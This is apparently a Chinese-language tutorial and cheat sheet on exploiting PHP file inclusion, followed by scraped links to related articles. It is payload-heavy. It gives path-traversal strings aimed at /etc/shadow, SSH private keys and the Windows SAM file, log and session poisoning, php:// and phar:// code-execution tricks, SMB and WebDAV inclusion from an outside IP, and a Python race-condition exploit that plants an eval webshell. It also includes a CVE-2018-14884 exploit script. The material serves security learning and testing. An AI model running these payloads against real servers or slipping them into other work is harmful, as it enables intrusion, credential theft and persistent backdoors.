文件包含

参考资料:

文件包含漏洞简介

利用phpinfo条件竞争

PHP文件包含漏洞利用思路与Bypass总结手册

1. 概述

什么是文件包含:文件包含函数所加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他文件或恶意代码,导致信息泄露或代码注入。

要求:包含的文件路径攻击者可控,被包含的文件web服务器可访问。

1.1 常见的引发漏洞的函数:

  1. include()执行到include时才包含文件,文件不存在时提出警告,但是继续执行
  2. require()只要程序运行就会包含文件,文件不存在产生致命错误,并停止脚本
  3. include_once()require_once()只执行一次,如果一个文件已经被包含,则这两个函数不会再去包含(即使文件中间被修改过)。

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),其中的文本内容都会直接作为php代码进行解析。

1.2 利用条件

  • 包含函数通过动态变量的方式引入需要包含的参数。

  • PHP中只要文件内容符合PHP语法规范,不管是什么后缀,都会被解析。

1.3 分类和利用思路

文件包含通常按照包含文件的位置分为两类:本地文件包含(LFI)和远程文件包含(RFI),顾名思义,本地文件包含就是指包含本地服务器上存储的一些文件;远程文件包含则是指被包含的文件不存储在本地。

本地文件包含

  1. 包含本地文件、执行代码
  2. 配合文件上传,执行恶意脚本
  3. 读取本地文件
  4. 通过包含日志的方式GetShell
  5. 通过包含/proc/self/envion文件GetShell
  6. 通过伪协议执行恶意脚本
  7. 通过phpinfo页面包含临时文件

远程文件包含

  1. 直接执行远程脚本(在本地执行)

远程文件包含需要在php.ini中进行配置,才可开启:

allow_url_fopen = On:本选项激活了 URL 风格的 fopen 封装协议,使得可以访问 URL 对象文件。默认的封装协议提供用 ftp 和 http 协议来访问远程文件,一些扩展库例如 zlib 可能会注册更多的封装协议。(出于安全性考虑,此选项只能在 php.ini 中设置。)

allow_url_include = On:此选项允许将具有URL形式的fopen包装器与以下功能一起使用:include,include_once,require,require_once。(该功能要求allow_url_fopen开启)

2. 利用方法

2.1 配合文件解析漏洞来包含

http://target.com/?page=../../upload/123.jpg/.php

2.2 读取系统敏感文件(路径遍历)

include.php?file=../../../../../../../etc/passwd

Windows:

​ C:\boot.ini //查看系统版本

​ C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件

​ C:\Windows\repair\sam //存储系统初次安装的密码

​ C:\Program Files\mysql\my.ini //Mysql配置

​ C:\Program Files\mysql\data\mysql\user.MYD //Mysql root

​ C:\Windows\php.ini //php配置信息

​ C:\Windows\my.ini //Mysql配置信息

Linux:

/root/.ssh/authorized_keys

/root/.ssh/id_rsa

/root/.ssh/id_ras.keystore

/root/.ssh/known_hosts

/etc/passwd

/etc/shadow

/etc/my.cnf

/etc/httpd/conf/httpd.conf

/root/.bash_history

/root/.mysql_history

/proc/self/fd/fd[0-9]*(文件标识符)

/proc/mounts

/porc/config.gz

2.3 包含http日志文件

通过包含日志文件,来执行夹杂在URL请求或者User-Agent头中的恶意脚本

  1. 通过读取配置文件确定日志文件地址

    默认地址通常为:/var/log/httpd/access_log/var/log/apache2/access.log

  2. 请求时直接在URL后面加上脚本即可http://www.target.com/index.php<?php phpinfo();?>,之后去包含这个日志文件即可。

  3. 注意:日志文件会记录最为原始的URL请求,在浏览器地址栏中输入的地址会被URL编码,通过CURl或者Burp改包绕过编码。

apache+Linux 日志默认路径

/etc/httpd/logs/access_log

/var/log/httpd/access_log

xmapp日志默认路径

D:/xampp/apache/logs/access.log

D:/xampp/apache/logs/error.log

IIS默认日志文件

C:/WINDOWS/system32/Logfiles

%SystemDrive%/inetpub/logs/LogFiles

nginx

/usr/local/nginx/logs

/opt/nginx/logs/access.log

通过包含环境变量/proc/slef/enversion来执行恶意脚本,修改HTTP请求的User-Agent报头,但是没复现成功

2.4 包含SSH日志

和包含HTTP日志类似,登录用户的用户名会被记录在日志中,如果可以读取到ssh日志文件,则可以利用恶意用户名注入php代码。

SSH登录日志常见存储位置:/var/log/auth.log/var/log/secure

2.5 使用PHP伪协议

PHP内置了很多URL 风格的封装协议,除了用于文件包含,还可以用于很多文件操作函数。在phpinfo的Registered PHP Streams中可以找到目前环境下可用的协议。

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 压缩文件
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
  1. file://访问本地文件系统http://target.com/?page=file://D:/www/page.txt,正反斜线都行(windows),对于共享文件服务器可以使用\\smbserver\share\path\to\winfile.ext

  2. php://input访问输入输出流:?page=php://input,在POST内容中输入想要执行的脚本。

  3. php://filter:是一种元封装器, 设计用于数据流打开时的筛选过滤应用。

    全部可用过滤器列表:https://www.php.net/manual/zh/filters.php

    通常利用该伪协议来读取php源码,通过设定编码方式(以base64编码为例),可以防止读取的内容被当做php代码解析,利用方式(就是read写不写的区别):

    index.php?file=php://filter/read=convert.base64-encode/resource=index.php
    index.php?file=php://filter/convert.base64-encode/resource=index.php
  4. data://数据流封装:?page=data://text/plain,脚本

  1. zip://压缩流:创建恶意代码文件,添加到压缩文件夹,上传,无视后缀。通过?page=zip://绝对路径%23文件名访问,5.2.9之前是只能绝对路径。

备注:

  1. 文件需要绝对路径才能访问

  2. 需要通过#(也就是URL中的%23)来指定代码文件

  3. compress.bzip2://compress.zlib://压缩流,与zip类似,但是支持相对路径无视后缀

    bzipgzip是对单个文件进行压缩(不要纠结要不要指定压缩包内的文件)

    ?file=compress.bzip2://路径
    ?file=compress.zlib://路径
  4. phar://支持zip、phar格式的压缩(归档)文件,无视后缀(也就是说jpg后缀照样给你解开来),?file=phar://压缩包路径/压缩包内文件名,绝对路径和相对路径都行。

    利用方法:

    index.php?file=phar://test.zip/test.txt
    index.php?file=phar://test.xxx/test.txt

    制作phar文件(php5.3之后):

    1. 设置php.iniphar.readonly=off
    2. 制作生成脚本
    <?php
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->addFromString("test.txt", "<?php phpinfo();?>"); //添加要压缩的文件及内容
    $phar->stopBuffering(); //签名自动计算
    ?>
    // 这个脚本需要使用php.exe 来生成
    1. 生成脚本2

      <?php
      $p = new PharData(dirname(__FILE__).'./test.123', 0,'test',Phar::ZIP);
      $p->addFromString('test.txt', '<?php phpinfo();?>');
      ?>
      //这个脚本可以通过访问来触发,在本地生成一个test.123,但是不能生成后缀为phar的文件(其他的都行,甚至是php)

2.6 配合phpinfo页面包含临时文件

向phpinfo页面上传文件的时候,phpinfo会返回临时文件的保存路径

临时文件存活时间很短,当连接结束后,临时文件就会消失。条件竞争

只要发送足够多的的数据,让页面还未反应过来的时候去包含文件,即可。

  1. 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

  2. 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

  3. php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

  4. 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

  5. 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

  6. 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

    利用脚本exp

2.7 包含Session

  1. PHP将用户Session以文件的形式保存在主机中,通过php.ini文件中的session.save_path字段可以设置具体的存储位置,通过phpinfo页面也可以查询到;文件命名格式为:sess_<PHPSESSID>,其中PHPSESSID为用户cookie中PHPSESSID对应的值;Session文件一些可能的保存路径:

    /var/lib/php/sess_PHPSESSID
    /var/lib/php/sessions/sess_PHPSESSID
    /tmp/sess_PHPSESSID
    /tmp/sessions/sess_PHPSESSID
  2. Session文件内容有两种记录格式:php、php_serialize,通过修改php.ini文件中session.serialize_handler字段来进行设置。

    以php格式记录时,文件内容中以|来进行分割:

    以php_serialize格式记录时,将会话内容以序列化形式存储:

  3. 如果保存的session文件中字符串可控,那么就可以构造恶意的字符串触发文件包含。

    先构造一个含有恶意字符串的session文件:?user=test&cmd=<?php phpinfo();?>,之后包含这个会话的session文件。

2.9 包含环境变量

CGI****利用条件:1231、php以cgi方式运行,这样environ才会保存UA头。``2、environ文件存储位置已知,且environ文件可读。利用姿势:proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

3. 绕过技巧

3.1 限制路径路径

服务器限制了访问文件的路径,例如在变量前面追加'/var/www/html'限制只能包含web目录下的文件,可以利用路径穿越进行对抗。

../../../../../../../ect/passwd

对于输入有过滤的情况,可以尝试用URL编码进行转换,比如%2e%2e%2f,甚至是二次转换。

3.2 限制后缀

对用户输入添加后缀,比如:自动添加.jgp后缀、或者期望用户输如一个父目录,服务器自动拼接上子目录和文件。

  1. 如果是远程文件包含的话可以利用URL的特性?#

    构造出类似于http://test.com/evil.php?/static/test.phphttp://test.com/evil.php#/static/test.php的包含路径,使得服务器预设的后缀变成URL的参数或者页面锚点。

  2. 利用压缩协议:构建一个压缩包归档文件,里面包含上服务器加的后缀,这样完整的路径将指向压缩包内文件。

    比如压缩包中文件为test.zip->test->defautl->test.php ,构造url:include.php?file=phar://test.zip/test,服务端拼接后变成include('phar://test.zip/test/defautl/test.php')

  3. 利用超长字符串进行截断,在php<5.2.8的版本可以设置一个超级长的路径,超过的部分将被服务器丢弃。

    win最长为256字节、Linux为4096字节,构造include.php?file=./././././(n多个)././test.php

  4. 利用00截断:php<5.3.4时可用%00对字符串进行截断,%00被是识别为字符串终止标记。

3.3 allow_url_include = off

利用SMB、webdav等使用UNC路径的文件共享进行绕过。

  1. 利用SMB(只对Win的web服务器有效):构建SMB服务器后,构造URL:?include.php?file=\\172.16.97.128\test.php
  2. 利用WebDAV:构造连接?include.php?file=//172.16.97.128/webdav/test.php

3.4 Base64 处理的session文件

为了保护用户的信息或存储更多格式的信息,很多时候都会对Session文件进行编码,以Base64编码为例,阐述绕过思路。了解服务端使用的编码模式以及对应的解码模式;合理安排payload使其满足解码条件,只要不干扰php代码运行就可以。

  1. 根据上边介绍的伪协议的用法,可以知道使用index.php?file=php://filter/read=convert.base64-decode/resource=index.php即可对base64编码的文件进行解码,但是直接解码session文件时会出现乱码。其原因在于session文档中包含的并非全部都是base64编码的内容,session开头的user|s:24:字符串也被当做base64进行解码,从而导致出现乱码的情况,因此如果能忽略前面的字符,就可以完美解码了。

  2. 有利条件:PHP在进行base64解码的时候并不会去处理非Base64编码字符集的内容,直接忽略过去并拼接之后的内容。也就是说,Session文件中的:|{};"这类字符对Base64解码没有影响。

  3. Base64解码过程简单来说就是:将字符串按照每4个字符分为一组,解码为二进制数据流再拼接到一起,因此要保证我们可以将payload正确解出,需要将编码后的payload其实位置控制在4n+1的位置(第5、9、13...位)。(base64编码后长度为原数据长度的4/3)

  4. user:|s:24:"有效字符有7个,若要将payload置于第9位,则需要再增加一个字符,简单有效的办法就是让24变成一个三位数——填充无效数据扩充payload长度。

  5. serialize模式同理,session文件中a:1:{s:4:"user";s:24:"共11个干扰字符,因此同样只需将payload产生的字符串长度增加到三位数即可。

3.5 自己构造Session

有的网站可能不提供用户会话记录,但是默认的配置可以让我们自己构造出一个Session文件。相关的选项如下:

  • session.use_strict_mode = 0,允许用户自定义Session_ID,也就是说可以通过在Cookie中设置PHPSESSID=xxx将session文件名定义为sess_xxx
  • session.upload_progress.enabled = on,PHP可以在每个文件上传时监视上传进度。
  • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS",当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefixsession.upload_progress.name连接在一起的值。

利用思路:

  1. 上传一个文件

  2. 上传时设置一个自定义PHPSESSIDcookie

  3. POST PHP_SESSION_UPLOAD_PROGRESS恶意字段:"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'

    这样就会在Session目录下生成一个包含恶意代码的session文件。

  4. 但是php默认设置中会打开session.upload_progress.cleanup = on,也就是当文件上传完成后会自动删除session文件,使用条件竞争绕过,恶意代码功能设置为生成一个shell.php。

利用exp:

import io
import sys
import requests
import threading sessid = 'test' def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://127.0.0.1/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
) def READ(session):
while True:
response = session.get(f'http://127.0.0.1/include.php?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_{sessid}')
# print('[+++]retry')
# print(response.text) if 'PHP Version' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0) with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start() READ(session)

3.6 CVE-2018-14884

CVE-2018-14884会造成php7出现段错误,从而导致垃圾回收机制失效,POST的文件会保留在系统缓存目录下而不会被清除。

影响版本:

PHP Group PHP 7.0.*,<7.0.27

PHP Group PHP 7.1.*,<7.1.13

PHP Group PHP 7.2.*,<7.2.1

windows 临时文件:C:\windows\php<随机字符>.tmp

linux临时文件:/tmp/php<随机字符>

  1. 漏洞验证include.php?file=php://filter/string.strip_tags/resource=index.php返回500错误

  2. post恶意字符串

    import requests
    
    files = {
    'file': '<?php phpinfo();'
    }
    url = 'http://127.0.0.1/include.php?file=php://filter/string.strip_tags/resource=index.php'
    r = requests.post(url=url, files=files, allow_redirects=False)
  3. 在临时文件中可以看到恶意代码成功写入

  4. 至于包含嘛,爆破或者其他手段探测这个临时文件吧。

PHP文件包含 整理的更多相关文章

  1. PHP文件包含漏洞剖析

    一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...

  2. svg矢量图标在html中的使用, (知识点:1.通过h5中的css实现点击变色,2.一个svg文件包含多个图标)

    svg矢量文件体积小,不变形,比传统的png先进,比现在流行的icon-font灵活.然而在使用过程中还是遇到了很多坑.今天花了一天时间把经验整理出来,以供后来者借鉴.如果您从本文收益,请留言mark ...

  3. PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

    摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...

  4. Linux C编程学习之C语言简介---预处理、宏、文件包含……

    C的简介 C语言的结构极其紧凑,C语言是一种模块化的编程语言,整个程序可以分割为几个相对独立的功能模块,模块之间的相互调用和数据传递是非常方便的 C语言的表达能力十分强大.C语言兼顾了高级语言和汇编语 ...

  5. PHP 文件包含总结 include require 命名空间 autoload spl_autoload_register 读取文件路径

    总结: 1. include或require包含其他文件 使用./或者 ../,这里的当前路径和上一层路径,取决于运行脚本的路径,会存在如下问题. 在写PHP程序时,经常要用到include或requ ...

  6. 关于SharpZipLib压缩分散的文件及整理文件夹的方法

    今天为了解决压缩分散的文件时,发现想通过压缩对象直接进行文件夹整理很麻烦,因为SharpZipLib没有提供压缩进某个指定文件夹的功能,在反复分析了SharpZipLib提供的各个接口方法后,终于找到 ...

  7. ORACLE查看数据文件包含哪些对象

    在上篇ORACLE查看表空间对象中,我介绍了如何查询一个表空间有那些数据库对象,那么我们是否可以查看某个数据文件包含那些数据库对象呢?如下所示 SELECT  E.SEGMENT_TYPE       ...

  8. PHP任意文件包含绕过截断新姿势

    前言 此方法是@l3m0n叔叔给我分享的,原文已经发布在90sec 我没有90sec的账号,所以自己实践一下,顺道安利给访问我博客的小伙伴. 适用情况 可以控制协议的情况下,如果%00无法截断包含,可 ...

  9. error C2504 类的多层继承 头文件包含

    error C2504:头文件包含不全 今天碰到了很烦的问题,继承一个类之后,感觉头文件都包含了,可还是出现父类未定义的问题,最后发现,子类的子类在实现时,需要在cpp文件中包含所有他的父类的定义.因 ...

随机推荐

  1. PAT 1006 Sign In and Sign Out (25分) 字符串比较

    题目 At the beginning of every day, the first person who signs in the computer room will unlock the do ...

  2. Zabbix-部署

    目录 一. apt安装 Zabbix 部署结构图和主机环境 1.1 Zabbix-server 安装配置 1.1.1 安装zabbix仓库 1.1.2 安装Zabbix server.web前端.ag ...

  3. 浅谈产品模型(Profile)在程序设计中的作用

    引言:物联网平台的一个重要功能就是资产管理,产品或者设备都可以看成是资产中组成部分,所以有时候说物联网平台可以进行产品管理和设备管理.通常应用物联网平台开发一套具有产品或者设备管理功能的系统的时候,必 ...

  4. 「雕爷学编程」Arduino动手做(38)——joystick双轴摇杆模块

    37款传感器与模块的提法,在网络上广泛流传,其实Arduino能够兼容的传感器模块肯定是不止37种的.鉴于本人手头积累了一些传感器和模块,依照实践出真知(一定要动手做)的理念,以学习和交流为目的,这里 ...

  5. Spark_Transformation和Action算子

    Transformation 和 Action 常用算子 ​ 一.Transformation        1.1 map        1.2 filter        1.3 flatMap  ...

  6. 自己用C语言写NXP S32K144 serial bootloader

    了解更多关于bootloader 的C语言实现,请加我QQ: 1273623966 (验证信息请填 bootloader) 欢迎咨询或定制bootloader(在线升级程序). NXP S32K144 ...

  7. C# winform DataGridView 绑定数据的的几种方法

    1.用DataSet和DataTable为DataGridView提供数据源 String strConn = "Data Source=.;Initial Catalog=His;User ...

  8. SQL——SQL日期

    SQL日期    MySQL:        NOW() 返回当前的日期和时间        CURDATE() 返回当前的日期        CURTIME() 返回当前的时间        DAT ...

  9. 2020由浅入深最强Java面试题

    1.String,StringBuffer和StringBuilder有什么区别?     String是字符串常量,不可变对象,每次对String修改都等同于生成了一个新的String象,然后将指针 ...

  10. jmeter之cookies管理器的使用

    作用: 1 发送请求,经常要校验cookies信息  2 针对有的cookie是用的sessionid来进行校验的,这个就需要自己去配置cookie管理器里面的信息,而且sessionid是有时效性的 ...